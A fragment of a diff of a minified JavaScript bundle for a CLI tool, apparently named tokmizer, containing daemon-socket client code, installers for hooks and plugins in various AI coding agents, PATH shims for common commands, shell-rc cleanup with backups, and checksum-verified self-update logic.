i.values())clearTimeout(u.timer),u.reject(new Error("daemon socket closed"));i.clear()}),r.on("error",()=>{});function l(u){return new Promise((f,d)=>{if(r.destroyed||!r.writable){d(new Error("daemon socket closed"));return}let p=setTimeout(()=>{i.delete(u.id),d(new Error(`daemon request timeout (${u.op})`))},pE);i.set(u.id,{resolve:f,reject:d,timer:p}),r.write(Rt(u))})}let c={filter:async(u,f,d)=>{let p=await l({id:Hr(),op:"filter",cmd:u.slice(0,2048),plan:f,...d&&d.length>0?{allowed:d.slice(0,512)}:{},installId:n});if(!p.ok)return null;let g=Vu.safeParse(p.data);return g.success?g.data.filter:null},ping:async()=>{let u=await l({id:Hr(),op:"ping"});if(!u.ok)throw new Error(u.err);return u.data},reload:async()=>{let u=await l({id:Hr(),op:"reload",installId:n});if(!u.ok)throw new Error(u.err);return u.data},close:()=>{try{r.destroy()}catch{}}};if(!e.skipVersionCheck&&!s){let u=!1;try{let f=await c.ping();if(f.version&&rn(he,f.version))throw new Error(`newer daemon ${f.version} already running`);u=f.version!==he}catch(f){throw c.close(),f}if(u){try{await Tm(e.socketPath?{socketPath:e.socketPath}:{})}catch{}c.close();let f=await SE(t,2e3);if(await Ur(),!f)throw new Error("stale daemon still running after shutdown request");return ei({...e,skipVersionCheck:!0})}}return c}var Em,pE,xm,mE,gE,Hl=y(()=>{"use strict";ma();fs();z();tt();Mn();$t();Em=500,pE=3e3,xm=1,mE=6e4,gE=256*1024});import{readFileSync as xE,renameSync as vE,statSync as EE,writeFileSync as TE}from"node:fs";function ti(e,t,n){try{if(EE(e).size<=t)return;let r=xE(e,"utf8").split(`
45
- `).filter(a=>a.trim()!==""),o=[],s=0;for(let a=r.length-1;a>=0;a-=1){let l=r[a],c=Buffer.byteLength(l)+1;if(s+c>n)break;o.push(l),s+=c}o.reverse();let i=`${e}.tmp-${process.pid}`;TE(i,o.length?`${o.join(`
54
+ ${r}`:r;return await Ym(t,a)?s.length?"updated":"added":"error"}async function ep(){let e=So();if(!Ol(e))return"absent";let t;try{t=await Zm(e,"utf8")}catch{return"error"}let n=Il(t);if(!n.some(Xs))return"absent";let r=n.map(qm).join("").trimEnd(),o=r?`${r}
55
+ `:"";return await Ym(e,o)?"removed":"error"}function bt(){return Cl(Wm.homedir(),".gemini","config","hooks.json")}function dv(e){return{enabled:!0,PreToolUse:[{matcher:"run_command",hooks:[{type:"command",command:e,timeout:10}]}]}}function tp(){try{let e=oe(Km(bt(),"utf8"));return F(e)&&F(e[_o])}catch{return!1}}async function np(e){let t=bt(),n=await se(t);if(!n)return"error";let r=dv(e),o=n[_o];return o!==void 0&&JSON.stringify(o)===JSON.stringify(r)?"present":(n[_o]=r,await ie(t,n)?o===void 0?"added":"updated":"error")}async function rp(){let e=bt();if(!Ol(e))return"absent";let t=await se(e);return t?_o in t?(delete t[_o],await ie(e,t)?"removed":"error"):"absent":"error"}var Vm,_o,Pl=y(()=>{"use strict";kt();me();Vn();Vm="tokmizer-rewrite",_o="tokmizer-rewrite"});import{dirname as mv,join as He}from"node:path";import pv from"node:os";function Ml(e){return Eo.find(t=>t.host===e)}function op(e){return e.kind==="hook"?e.file():mv(e.files()[0].target)}function vo(e){return e.kind==="hook"?e.installed():Um(e.files()[0].target)}var xo,Nl,Eo,Qs=y(()=>{"use strict";me();Jm();Pl();xo=()=>pv.homedir(),Nl=()=>process.env.XDG_CONFIG_HOME||He(xo(),".config"),Eo=[{host:"opencode",label:"OpenCode",command:"setup-opencode",kind:"shim",files:()=>[{template:"opencode.js",target:He(Nl(),"opencode","plugins","tokmizer.js")}],next:"Restart OpenCode so it loads the plugin."},{host:"kilo",label:"Kilo Code",command:"setup-kilo",kind:"shim",files:()=>[{template:"kilo.js",target:He(Nl(),"kilo","plugin","tokmizer.js")}],next:"Restart Kilo Code (CLI or VS Code extension) so it loads the plugin."},{host:"amp",label:"Amp",command:"setup-amp",kind:"shim",files:()=>[{template:"amp.js",target:He(Nl(),"amp","plugins","tokmizer.js")}],next:"Reload plugins in Amp (or restart it), then check it with: amp plugins list"},{host:"vibe",label:"Mistral Vibe",command:"setup-vibe",kind:"hook",file:So,installed:Xm,ensure:Qm,remove:ep,next:"Restart Vibe so it reads hooks.toml."},{host:"antigravity",label:"Antigravity",command:"setup-antigravity",kind:"hook",file:bt,installed:tp,ensure:np,remove:rp,next:"Restart Antigravity, then check it with /hooks."},{host:"openclaw",label:"OpenClaw",command:"setup-openclaw",kind:"shim",files:()=>{let e=He(xo(),".openclaw","extensions","tokmizer");return["index.js","openclaw.plugin.json","package.json"].map(t=>({template:`openclaw/${t}`,target:He(e,t)}))},next:"Run: openclaw plugins enable tokmizer && openclaw gateway restart"},{host:"pi",label:"Pi",command:"setup-pi",kind:"shim",files:()=>[{template:"pi.js",target:He(process.env.PI_CODING_AGENT_DIR||He(xo(),".pi","agent"),"extensions","tokmizer.js")}],next:"Restart Pi (or run /reload) so it loads the extension."},{host:"omp",label:"Oh My Pi",command:"setup-omp",kind:"shim",files:()=>[{template:"omp.js",target:He(xo(),".omp","agent","extensions","tokmizer.js")}],next:"Restart omp so it loads the extension."},{host:"hermes",label:"Hermes",command:"setup-hermes",kind:"shim",files:()=>{let e=He(process.env.HERMES_HOME||He(xo(),".hermes"),"plugins","tokmizer");return["__init__.py","plugin.yaml"].map(t=>({template:`hermes/${t}`,target:He(e,t)}))},next:"Run: hermes plugins enable tokmizer, then restart Hermes (needs Hermes v2026.8.16 or newer)."}]});function Ll(e){return Dl.filter(t=>ap.has(t.host)===e).flatMap(t=>t.vars)}function ip(e){return ap.has(e)||(_v[e]?.installed()??!1)}function ei(e){return null}function ti(e=process.env){let t=process.platform,n=t==="darwin"||t==="linux"||t==="win32"?t:"other",r=process.arch,o=e.TOKMIZER_HOST;if(o&&Fl.includes(o)){let s=o;return{host:s,source:"env",os:n,arch:r,shimRecommended:!ip(s)}}for(let s of Dl)if(s.vars.some(i=>e[i]))return{host:s.host,source:"env",os:n,arch:r,shimRecommended:!ip(s.host)};return{host:"shell",source:"fallback",os:n,arch:r,shimRecommended:!0}}var Dl,Fl,ap,_v,To=y(()=>{"use strict";Ks();Ws();Qs();Ys();Dl=[{host:"claude-code",vars:["CLAUDECODE","CLAUDE_CODE_ENTRYPOINT","CLAUDE_CODE","CLAUDE_CODE_VERSION","ANTHROPIC_CLAUDE_CODE"]},{host:"codex",vars:["CODEX_VERSION","CODEX_CLI","OPENAI_CODEX","CODEX_THREAD_ID","CODEX_SESSION_ID"]},{host:"cursor",vars:["CURSOR_AGENT","CURSOR_VERSION","CURSOR_TRACE_ID"]},{host:"cline",vars:["CLINE_VERSION","CLINE_API_KEY"]},{host:"aider",vars:["AIDER_VERSION","AIDER_MODEL"]},{host:"qwen-code",vars:["QWEN_CODE"]},{host:"gemini-cli",vars:["GEMINI_CLI","GEMINI_CLI_VERSION","GEMINI_API_KEY"]},{host:"windsurf",vars:["WINDSURF_VERSION","WINDSURF_USER"]},{host:"copilot",vars:["GITHUB_COPILOT_VERSION","COPILOT_INTEGRATION_ID"]},{host:"opencode",vars:[]},{host:"amp",vars:[]},{host:"vibe",vars:[]},{host:"antigravity",vars:[]},{host:"openclaw",vars:[]},{host:"pi",vars:[]},{host:"omp",vars:[]},{host:"hermes",vars:[]},{host:"crush",vars:["CRUSH"]},{host:"droid",vars:[]},{host:"trae",vars:[]},{host:"junie",vars:[]},{host:"zcode",vars:[]},{host:"grok",vars:[]},{host:"kilo",vars:[]}],Fl=[...Dl.map(e=>e.host),"shell"],ap=new Set(["claude-code","codex"]),_v={cursor:{installed:Zs,setup:"tkr setup-cursor"},"gemini-cli":{installed:Mm,setup:"tkr setup-gemini"},...Object.fromEntries(Eo.map(e=>[e.host,{installed:()=>vo(e),setup:`tkr ${e.command}`}])),...Object.fromEntries(nr.map(e=>[e.id,{installed:e.installed,setup:e.setup}]))}});import{mkdir as Hl,writeFile as fp,readFile as ni,unlink as dp,chmod as mp,rename as Sv,copyFile as pp,stat as xv,readdir as Ev,rm as vv}from"node:fs/promises";import{existsSync as Bl,realpathSync as gp}from"node:fs";import{basename as Tv,delimiter as lp,join as we,dirname as hp}from"node:path";import{fileURLToPath as Rv}from"node:url";import rr from"node:os";function cp(e){try{return gp(e)}catch{return e}}function yp(){let e=Ce(),t={...process.env},n=process.platform==="win32"?"Path":"PATH",r=t[n]??t.PATH??"",o=cp(e),s=r.split(lp).filter(i=>i&&i!==e&&cp(i)!==o);return t[n]=s.join(lp),n==="Path"&&(t.PATH=t[n]),t}function kp(){try{let e=rr.platform()==="win32";return Bl(we(Ce(),e?"git.cmd":"git"))}catch{return!1}}function up(e){return`"${e.map(t=>`\${${t}:-}`).join("")}"`}function wp(e){let t=e.match(/^#!\/bin\/sh\n_tk_f=(\d+)\n/);return t!==null&&Number(t[1])>=bp&&e.includes(`exec /bin/sh ${X(Zn())} "$_tk_c" "$@"`)}function $v(e){return["#!/bin/sh",`_tk_f=${bp}`,`_tk_c=${X(e)}`,`if [ "\${TOKMIZER_SHIM_ACTIVE:-}" != "$_tk_c" ] && [ -z ${up(Ll(!0))} ] && { [ -n ${up(["TOKMIZER_HOST",...Ll(!1)])} ] || [ -t 1 ]; } && [ -f ${X(Zn())} ] && ! ${to()}; then`,` exec /bin/sh ${X(Zn())} "$_tk_c" "$@"`,"fi",...Ps(""),""].join(`
56
+ `)}function Cv(e){let t=de()?gt(e):null,n=t?un():e;return{check:n,run:t?[`"${n}"`,...t].join(" "):`node "${n}"`}}function Ov(e,t){let n=Cv(e),r=Ce();return["@echo off",`if "%TOKMIZER_SHIM_ACTIVE%"=="${t}" goto tkpass`,`if exist "${Ot()}" goto tkpass`,`if not exist "${n.check}" goto tkmissing`,`${n.run} --as "${t}" %*`,"exit /b %errorlevel%",":tkmissing",`echo ${Is.replace(/`/g,"")} 1>&2`,":tkpass",`set "PATH=%PATH:${r}\\;=%"`,`set "PATH=%PATH:${r};=%"`,`set "PATH=%PATH:;${r}=%"`,"for %%E in (.exe .cmd .bat .com) do for %%I in ("+t+'%%E) do if not "%%~$PATH:I"=="" if /i not "%%~dp$PATH:I"=="%~dp0" (',' "%%~$PATH:I" %*'," exit /b",")",`echo ${t}: command not found 1>&2`,"exit /b 9009",""].join(`\r
57
+ `)}function Iv(e){return we(Ce(),rr.platform()==="win32"?`${e}.cmd`:e)}function Pv(e,t){return rr.platform()==="win32"?Ov(e,t):$v(t)}async function _p(e,t,n){let r=`${e}.${process.pid}.tmp`;try{return await fp(r,t,{mode:n}),await mp(r,n),await Sv(r,e),!0}catch{try{await dp(r)}catch{}return!1}}function Sp(){return new Date().toISOString().replace(/[-:]/g,"").replace(/\..*$/,"").replace("T","-")}async function Nv(e,t,n){try{let r=(await Ev(e)).filter(o=>o.startsWith(t)).sort().slice(0,-n);for(let o of r)await vv(we(e,o),{recursive:!0,force:!0})}catch{}}async function xp(e,t={}){let n=Ce();if(!Bl(n))return{stale:0,rewritten:0};let r=0,o=0,s=null;for(let i of Av){let a=Iv(i),l=Pv(e,i),c;try{c=await ni(a,"utf8")}catch{continue}if(!(c===l||rr.platform()!=="win32"&&wp(c))&&(r+=1,!t.dryRun)){try{s||(s=we(b(),"backup",`shims-${Sp()}`),await Hl(s,{recursive:!0,mode:448})),await pp(a,we(s,i))}catch{}await _p(a,l,493)&&(o+=1)}}return s&&await Nv(hp(s),"shims-",3),{stale:r,rewritten:o}}function Dv(e){return`'${e.replace(/\\/g,"\\\\").replace(/'/g,"\\'")}'`}function Fv(){let e=Ce();return[`export PATH=${X(e)}:"$PATH"`,`export PATH="${e}:$PATH"`,`set -gx PATH ${Dv(e)} $PATH`,`$env:Path = '${e.replace(/'/g,"''")};' + $env:Path`,`$env:Path = "${e};" + $env:Path`]}function Lv(){return we(b(),"global-path")}function Hv(){return Bl(Lv())}function jl(){return we(b(),"backup","global-path.json")}function Ep(e){let t=Fv(),n=e.split(`
58
+ `),r=[],o=0;for(let s=0;s<n.length;s+=1){let i=n[s].replace(/\r$/,""),a=n[s+1]?.replace(/\r$/,"");if(i===Mv&&a!==void 0&&t.includes(a)){r.length&&r[r.length-1].replace(/\r$/,"")===""&&r.pop(),o+=1,s+=1;continue}r.push(n[s])}return{content:o?r.join(`
59
+ `):e,removed:o}}function vp(){let e=rr.homedir(),t=[".zshrc",".zprofile",".bashrc",".bash_profile",".bash_login",".profile",we(".config","fish","config.fish")].map(n=>we(e,n));return rr.platform()!=="win32"?t:[...t,we(e,"Documents","PowerShell","profile.ps1"),we(e,"Documents","WindowsPowerShell","profile.ps1"),we(e,"OneDrive","Documents","PowerShell","profile.ps1"),we(e,"OneDrive","Documents","WindowsPowerShell","profile.ps1")]}async function Tp(){let e=0;for(let t of vp())try{e+=Ep(await ni(t,"utf8")).removed}catch{}return e}async function jv(){try{let e=JSON.parse(await ni(jl(),"utf8"));return Array.isArray(e)?e.filter(t=>t!=null&&typeof t=="object"&&typeof t.file=="string"):[]}catch{return[]}}async function Rp(e={}){if(!e.force&&Hv())return[];let t=[],n=await jv();for(let r of vp()){let o,s;try{o=gp(r),s=await ni(o,"utf8")}catch{continue}let i=Ep(s);if(!i.removed)continue;let a=we(b(),"backup","rc"),l=we(a,`${Tv(r)}-${Sp()}`);try{let c=await xv(o);if(typeof process.getuid=="function"&&c.uid!==process.getuid())continue;if(await Hl(a,{recursive:!0,mode:448}),await pp(o,l),await mp(l,384),!await _p(o,i.content,c.mode&511)){await dp(l).catch(()=>{});continue}}catch{continue}t.push(r),n.push({file:r,backup:l,fish:r.endsWith("config.fish"),at:new Date().toISOString()})}if(t.length)try{await Hl(hp(jl()),{recursive:!0,mode:448}),await fp(jl(),`${JSON.stringify(n,null,2)}
60
+ `,{mode:384})}catch{}return t}function Ap(){return process.env.TOKMIZER_SHIM_JS?process.env.TOKMIZER_SHIM_JS:Rv(new URL("../bin/tkr-shim.js",import.meta.url))}var Av,bp,Mv,ri=y(()=>{"use strict";eo();nt();U();To();ve();io();ve();Av=["git","npm","yarn","pnpm","docker","kubectl","terraform","tofu","cargo","go","mvn","gradle","rg","grep","find","ls","cat","tail","head","ps","lsof","ssh","scp","rsync","curl","wget","jq","yq","make"];bp=2;Mv="# tokmizer-shim PATH (managed by tokmizer)"});var Vp={};he(Vp,{connectDaemon:()=>si,shutdownDaemon:()=>Wp,spawnLockAbandoned:()=>Kp});import{createConnection as Jv}from"node:net";import{spawn as Gv}from"node:child_process";import{existsSync as Up,openSync as Ul,closeSync as Bp,unlinkSync as Gl,writeFileSync as Zl,mkdirSync as Kl,readFileSync as Jp,appendFileSync as Zv,rmSync as Kv,statSync as Gp}from"node:fs";import{dirname as Wv,join as Wl}from"node:path";import{fileURLToPath as Vv}from"node:url";function Vl(){return Wl(b(),"daemon.spawn.fail")}function ql(){return Wl(b(),"daemon.log")}function Qv(){try{let e=Number(Jp(Vl(),"utf8"));return Number.isFinite(e)&&Date.now()-e<Yv}catch{return!1}}function eT(e){try{Kl(b(),{recursive:!0,mode:448});let t=ql();try{Gp(t).size>Xv&&Gl(t)}catch{}Zv(t,`${new Date().toISOString()} ${e}
61
+ `,{mode:384})}catch{}}function tT(e){try{Kl(b(),{recursive:!0,mode:448}),Zl(Vl(),String(Date.now()),{mode:384})}catch{}eT(`spawn failed: ${e.message}`)}function nT(){try{Kv(Vl(),{force:!0})}catch{}}async function oi(e,t){return new Promise((n,r)=>{let o=Jv(e),s=a=>{if(o.removeAllListeners("connect"),o.removeAllListeners("error"),clearTimeout(i),a){try{o.destroy()}catch{}r(a)}else n(o)},i=setTimeout(()=>s(new Error("connect timeout")),t);o.once("connect",()=>s(null)),o.once("error",a=>s(a))})}function rT(){return process.env.TOKMIZER_DAEMON_BIN?process.env.TOKMIZER_DAEMON_BIN:Vv(new URL("../bin/tkr-daemon.js",import.meta.url))}async function Jl(e,t=3e3){let n=Math.ceil(t/75),r=process.platform==="win32";for(let o=0;o<n;o++){if(r)try{return(await oi(e,75)).destroy(),!0}catch{}else if(Up(e))return!0;await new Promise(s=>setTimeout(s,75))}return!1}function Kp(e,t=Date.now()){try{if(t-Gp(e).mtimeMs>1e4)return!0;let r=Number(Jp(e,"utf8").trim());if(!Number.isInteger(r)||r<=0)return!1;try{return process.kill(r,0),!1}catch(o){return o.code==="ESRCH"}}catch{return!1}}async function oT(e){let t=rT();if(!de()&&!Up(t))throw new Error(`tkr-daemon binary not found at ${t}`);let{path:n}=ut(),r=process.platform==="win32"?b():Wv(n);try{Kl(r,{recursive:!0,mode:448})}catch{}let o=Wl(r,"daemon.spawn.lock"),s=null;try{s=Ul(o,"wx"),Zl(s,String(process.pid))}catch(i){if(i.code==="EEXIST"){if(!Kp(o)&&await Jl(n,5e3))return;try{Gl(o)}catch{}try{s=Ul(o,"wx"),Zl(s,String(process.pid))}catch(l){if(l.code==="EEXIST"){await Jl(n,5e3);return}throw l}}else throw i}try{let i=null;try{i=Ul(ql(),"a",384)}catch{}let[a,...l]=cn(t);if(Gv(a,l,{detached:!0,stdio:["ignore","ignore",i??"ignore"],env:{...process.env,TOKMIZER_DAEMON_INSTALL_ID:e}}).unref(),i!==null)try{Bp(i)}catch{}if(!await Jl(n,3e3))throw new Error("tkr-daemon failed to bind socket within 3s")}finally{if(s!==null){try{Bp(s)}catch{}try{Gl(o)}catch{}}}}async function Wp(e={}){let{path:t}=e.socketPath?{path:e.socketPath}:ut(),n=await ks();try{let r=await oi(t,Zp);r.write(At({id:jr(),op:"shutdown",installId:n})),await new Promise(o=>setTimeout(o,150));try{r.destroy()}catch{}return!0}catch{return!1}}async function sT(e,t){let n=Date.now()+t;for(;Date.now()<n;){try{(await oi(e,250)).destroy()}catch{return!0}await new Promise(r=>setTimeout(r,100))}return!1}async function si(e={}){let{path:t}=e.socketPath?{path:e.socketPath}:ut(),n=await ks(),r=null,o=0,s=!1;for(;o<=zp;)try{r=await oi(t,Zp),nT();break}catch{if(o+=1,o>zp)throw new Error(`tkr-daemon unreachable at ${t}`);if(Qv())throw new Error(`tkr-daemon spawn on cooldown (see ${ql()})`);await Jr();try{await oT(n),s=!0}catch(u){throw tT(u),u}}if(!r)throw new Error("tkr-daemon: socket setup failed");let i=new Map,a="";r.setEncoding("utf8"),r.on("data",u=>{a+=u;let f=-1;for(let m=0;m<a.length;m++)a[m]===Cn&&(f=m);if(f<0)return;let d=[];for(let m of is(a.slice(0,f+1)))d.push(m);a=a.slice(f+1);for(let m of d)if(m)try{let g=JSON.parse(m),h=i.get(g.id);if(!h)continue;clearTimeout(h.timer),i.delete(g.id),h.resolve(g)}catch{}}),r.on("close",()=>{for(let u of i.values())clearTimeout(u.timer),u.reject(new Error("daemon socket closed"));i.clear()}),r.on("error",()=>{});function l(u){return new Promise((f,d)=>{if(r.destroyed||!r.writable){d(new Error("daemon socket closed"));return}let m=setTimeout(()=>{i.delete(u.id),d(new Error(`daemon request timeout (${u.op})`))},qv);i.set(u.id,{resolve:f,reject:d,timer:m}),r.write(At(u))})}let c={filter:async(u,f,d)=>{let m=await l({id:jr(),op:"filter",cmd:u.slice(0,2048),plan:f,...d&&d.length>0?{allowed:d.slice(0,512)}:{},installId:n});if(!m.ok)throw new Error(m.err);let g=Xu.safeParse(m.data);return g.success?g.data.filter:null},ping:async()=>{let u=await l({id:jr(),op:"ping"});if(!u.ok)throw new Error(u.err);return u.data},reload:async()=>{let u=await l({id:jr(),op:"reload",installId:n});if(!u.ok)throw new Error(u.err);return u.data},close:()=>{try{r.destroy()}catch{}}};if(!e.skipVersionCheck&&!s){let u=!1;try{let f=await c.ping();if(f.version&&on(ye,f.version))throw new Error(`newer daemon ${f.version} already running`);u=f.version!==ye}catch(f){throw c.close(),f}if(u){try{await Wp(e.socketPath?{socketPath:e.socketPath}:{})}catch{}c.close();let f=await sT(t,2e3);if(await Jr(),!f)throw new Error("stale daemon still running after shutdown request");return si({...e,skipVersionCheck:!0})}}return c}var Zp,qv,zp,Yv,Xv,Yl=y(()=>{"use strict";ga();ds();U();nt();Dn();Ct();Zp=500,qv=3e3,zp=1,Yv=6e4,Xv=256*1024});import{readFileSync as iT,renameSync as aT,statSync as lT,writeFileSync as cT}from"node:fs";function ii(e,t,n){try{if(lT(e).size<=t)return;let r=iT(e,"utf8").split(`
62
+ `).filter(a=>a.trim()!==""),o=[],s=0;for(let a=r.length-1;a>=0;a-=1){let l=r[a],c=Buffer.byteLength(l)+1;if(s+c>n)break;o.push(l),s+=c}o.reverse();let i=`${e}.tmp-${process.pid}`;cT(i,o.length?`${o.join(`
46
63
  `)}
47
- `:"",{mode:384}),vE(i,e)}catch{}}var jl=y(()=>{"use strict"});import{existsSync as Tj,mkdirSync as RE,rmSync as Rj,writeFileSync as AE}from"node:fs";import{join as $E}from"node:path";function CE(){return $E(b(),"codex-hook-notice")}function Am(){try{RE(b(),{recursive:!0,mode:448}),AE(CE(),String(Date.now()),{mode:384})}catch{}}var $m=y(()=>{"use strict";z()});var Lm={};ge(Lm,{autoUpdateEnabled:()=>Gl,claimSelfUpdateSlot:()=>Fm,defaultDeps:()=>eT,maybeSpawnSelfUpdate:()=>nT,selfUpdate:()=>KE,setAutoUpdate:()=>GE});import{spawn as Dm}from"node:child_process";import{createHash as OE}from"node:crypto";import{accessSync as PE,constants as IE,existsSync as rr,mkdirSync as Jl,mkdtempSync as NE,readdirSync as ME,readFileSync as ri,realpathSync as Bl,renameSync as Cm,rmSync as xo,symlinkSync as DE,writeFileSync as vo,appendFileSync as FE}from"node:fs";import{fileURLToPath as LE}from"node:url";import{basename as HE,dirname as ni,join as q}from"node:path";import jE from"node:os";function JE(e,t){try{let n=JSON.parse(ri(Nm(),"utf8"));if(n.version===e&&typeof n.at=="number")return t-n.at>=zE}catch{}try{Jl(b(),{recursive:!0,mode:448}),vo(Nm(),JSON.stringify({version:e,at:t}),{mode:384})}catch{}return!1}function Gl(){return process.env.TOKMIZER_AUTO_UPDATE==="0"?!1:!rr(Ul())}function GE(e){if(e){xo(Ul(),{force:!0});return}Jl(b(),{recursive:!0,mode:448}),vo(Ul(),String(Date.now()))}function Fm(e=Date.now()){try{let t=Number(ri(Pm(),"utf8"));if(Number.isFinite(t)&&e-t<BE)return!1}catch{}try{Jl(b(),{recursive:!0,mode:448}),vo(Pm(),String(e))}catch{return!1}return!0}function ZE(e){try{let t=q(b(),"self-update.log");FE(t,`${new Date().toISOString()} ${e}
48
- `,{mode:384}),ti(t,Om,Om/2)}catch{}}async function KE(e){if(!Gl())return["disabled"];if(!ee())return["network off"];let t=e.latest;if(!t||!zl.test(t))return["no-version"];let n=JE(t,(e.now??Date.now)()),r=[],o=[],s=u=>{o.push(u),r.includes(`waiting: ${t} is less than 24h old`)||r.push(`waiting: ${t} is less than 24h old`)},i=(await e.run("npm",["root","-g"]).catch(()=>({code:1,stdout:""}))).stdout.trim(),a=i?e.npmVersion(i):void 0;if(a)if(!rn(a,t))o.push(a);else if(!n)s(a);else if(!e.writable(i))r.push("npm needs permission");else{let u=await e.run("npm",["i","-g",`@tokmizer/plugin@${t}`,"--no-audit","--no-fund"]).catch(()=>({code:1,stdout:""})),f=e.npmVersion(i);u.code===0&&f===t?(r.push(`npm ${a} -> ${t}`),o.push(t)):r.push(`npm failed (${a})`)}let l=e.standalone?WE(e.standalone.root):void 0;if(e.standalone&&l)if(!rn(l,t))o.push(l);else if(!n)s(l);else{let u=await qE(e.standalone,l,t,e.run).catch(()=>`standalone failed (${l})`);r.push(u),u.includes("->")&&o.push(t)}if(process.platform!=="win32"){let u=await e.run("brew",["list","--versions","tokmizer"]).catch(()=>({code:1,stdout:""})),f=u.code===0?u.stdout.trim().split(/\s+/)[1]:void 0;if(f&&zl.test(f))if(!rn(f,t))o.push(f);else if(!n)s(f);else{let d=await e.run("brew",["upgrade","tokmizer"],{...process.env,HOMEBREW_NO_INSTALL_CLEANUP:"1"}).catch(()=>({code:1,stdout:""}));d.code===0?(r.push(`brew ${f} -> ${t}`),o.push(t)):/untrusted tap/i.test(d.stderr??"")?r.push("brew tap not trusted: run brew trust norwelltw/tokmizer"):r.push(`brew failed (${f})`)}}if(r.some(u=>u.includes("->"))&&await e.run("tkr",["shims-refresh"]).catch(()=>({code:1,stdout:""})),o.some(u=>!rn(u,UE))&&e.codexInstalled()&&!rr(Im())){let u=await e.ensureCodexHook(i).catch(()=>"error");if(u!=="error"){try{vo(Im(),String(Date.now()))}catch{}(u==="added"||u==="updated")&&Am(),r.push(`codex hook ${u}`)}}for(let u of r)ZE(u);return r}function WE(e){try{let t=JSON.parse(ri(q(e,"current","package.json"),"utf8")).version;return typeof t=="string"&&zl.test(t)?t:void 0}catch{return}}async function Mm(e,t){let n=await e.fetch(t);if(!n.ok)throw new Error(`HTTP ${n.status}`);return Buffer.from(await n.arrayBuffer())}function VE(e,t,n){let r=new RegExp(`^tokmizer-\\d+\\.\\d+\\.\\d+-${t}$`);for(let o of ME(e))r.test(o)&&!n.includes(o)&&xo(q(e,o),{recursive:!0,force:!0})}async function qE(e,t,n,r){let o=`tokmizer-${n}-${e.key}`,s=u=>`standalone failed (${t}): ${u}`,a=(await Mm(e,`${e.base(n)}/SHA256SUMS`)).toString("utf8").split(`
49
- `).map(u=>/^([0-9a-f]{64}) {2}(\S+)$/.exec(u.trim())).find(u=>u?.[2]===`${o}.tar.gz`)?.[1];if(!a)return s(`no build for ${e.key}`);let l=await Mm(e,`${e.base(n)}/${o}.tar.gz`);if(OE("sha256").update(l).digest("hex")!==a)return s("checksum mismatch");let c=NE(q(e.root,".update-"));try{vo(q(c,"release.tar.gz"),l);let u=await r("tar",["-xzf",q(c,"release.tar.gz"),"-C",c]),f=q(c,o,"dist","bin","tkr");if(u.code!==0||!rr(f))return s("archive");let d=await r(f,["--single-check"]);if(d.code!==0||d.stdout.trim()!==`tokmizer-single ${n}`)return s("probe");let p=HE(Bl(q(e.root,"current"))),g=q(e.root,o);xo(g,{recursive:!0,force:!0}),Cm(q(c,o),g);let h=q(e.root,`.current-${process.pid}`);return xo(h,{force:!0}),DE(o,h),Cm(h,q(e.root,"current")),VE(e.root,e.key,[o,p]),`standalone ${t} -> ${n}`}finally{xo(c,{recursive:!0,force:!0})}}function YE(){if(!(!fe()||process.platform==="win32"))try{let e=ni(ni(ni(Bl(process.execPath)))),t=ni(e);return Bl(q(t,"current"))===e?t:void 0}catch{return}}function XE(){let e=YE(),t=process.arch==="arm64"?"arm64":process.arch==="x64"?"x64":"";if(!(!e||!t||process.platform!=="darwin"&&process.platform!=="linux"))return{root:e,key:`${process.platform}-${t}`,base:n=>`https://github.com/norwelltw/Tokmizer/releases/download/v${n}`,fetch:n=>fetch(n,{redirect:"follow",signal:AbortSignal.timeout(5*6e4)})}}function QE(e,t,n){return new Promise(r=>{let o=Dm(e,t,{env:n??process.env,shell:process.platform==="win32",stdio:["ignore","pipe","pipe"],windowsHide:!0}),s="",i="";o.stdout?.on("data",l=>{s+=l.toString("utf8")}),o.stderr?.on("data",l=>{i.length<8192&&(i+=l.toString("utf8"))});let a=setTimeout(()=>o.kill("SIGTERM"),10*6e4);o.on("error",()=>{clearTimeout(a),r({code:127,stdout:""})}),o.on("close",l=>{clearTimeout(a),r({code:l??1,stdout:s,stderr:i})})})}function eT(e){return{latest:e,run:QE,standalone:XE(),npmVersion:t=>{try{let n=JSON.parse(ri(q(t,"@tokmizer","plugin","package.json"),"utf8")).version;return typeof n=="string"?n:void 0}catch{return}},writable:t=>{try{return PE(t,IE.W_OK),!0}catch{return!1}},codexInstalled:()=>rr(process.env.CODEX_HOME||q(jE.homedir(),".codex")),ensureCodexHook:async t=>{let{ensureCodexHook:n,codexHookCommand:r}=await Promise.resolve().then(()=>(Bs(),mp)),{codexPluginProvidesHook:o}=await Promise.resolve().then(()=>(ol(),cp));if(o())return"present";let s=q(t,"@tokmizer","plugin","dist","bin","tkr-codex-hook.js"),i=r(process.env.PATH??"",s);return i.startsWith("node ")&&!rr(s)?"error":n(i)}}}function tT(){let e=LE(new URL(".",import.meta.url));for(let t of[q(e),q(e,"..")])if(rr(q(t,"bin","tkr.js")))return t;return null}function nT(){try{if(!Gl()||!ee())return;let e=fe()?"":tT();if(e===null||!Fm())return;let[t,...n]=ln(q(e,"bin","tkr.js")),r=Dm(t,[...n,"self-update"],{detached:!0,stdio:"ignore",windowsHide:!0,env:{...process.env,TOKMIZER_SELF_UPDATE_CHILD:"1"}});r.on("error",()=>{}),r.unref()}catch{}}var zl,BE,zE,UE,Om,Ul,Pm,Im,Nm,Hm=y(()=>{"use strict";z();$t();jl();tt();Ue();$m();zl=/^\d+\.\d+\.\d+$/,BE=6*36e5,zE=24*36e5,UE="0.9.34",Om=64*1024,Ul=()=>q(b(),"auto-update-off"),Pm=()=>q(b(),"self-update-last"),Im=()=>q(b(),"codex-hook-offered"),Nm=()=>q(b(),"self-update-seen")});import{readFileSync as jm}from"node:fs";import{join as Bm}from"node:path";function oi(){try{let e=JSON.parse(jm(Bm(b(),"settings-cache.json"),"utf8"));return e.enabled!==!1&&typeof e.reducer=="string"&&e.reducer!=="off"}catch{return!1}}function zm(){if(ye())return!1;try{return JSON.parse(jm(Bm(b(),"settings-cache.json"),"utf8")).enabled!==!1}catch{return!0}}var si=y(()=>{"use strict";z();Ee()});function rT(){let e=Number(process.env.TOKMIZER_OFFLINE_GRACE_MS);return Number.isFinite(e)&&e>0?e:6048e5}function ii(e,t=Date.now()){let n=e.lastHeartbeatOkAt;if(typeof n=="number"&&t-n>rT())return!0;if(e.subEndsAt){let r=Date.parse(e.subEndsAt);if(Number.isFinite(r)&&t>r)return!0}return!1}function or(e,t=Date.now()){return e.plan}function Um(e,t=Date.now()){return e.bonusActive??!1}var ai=y(()=>{"use strict"});function Jm(e,t=!1){return!0}var Gm=y(()=>{"use strict"});var 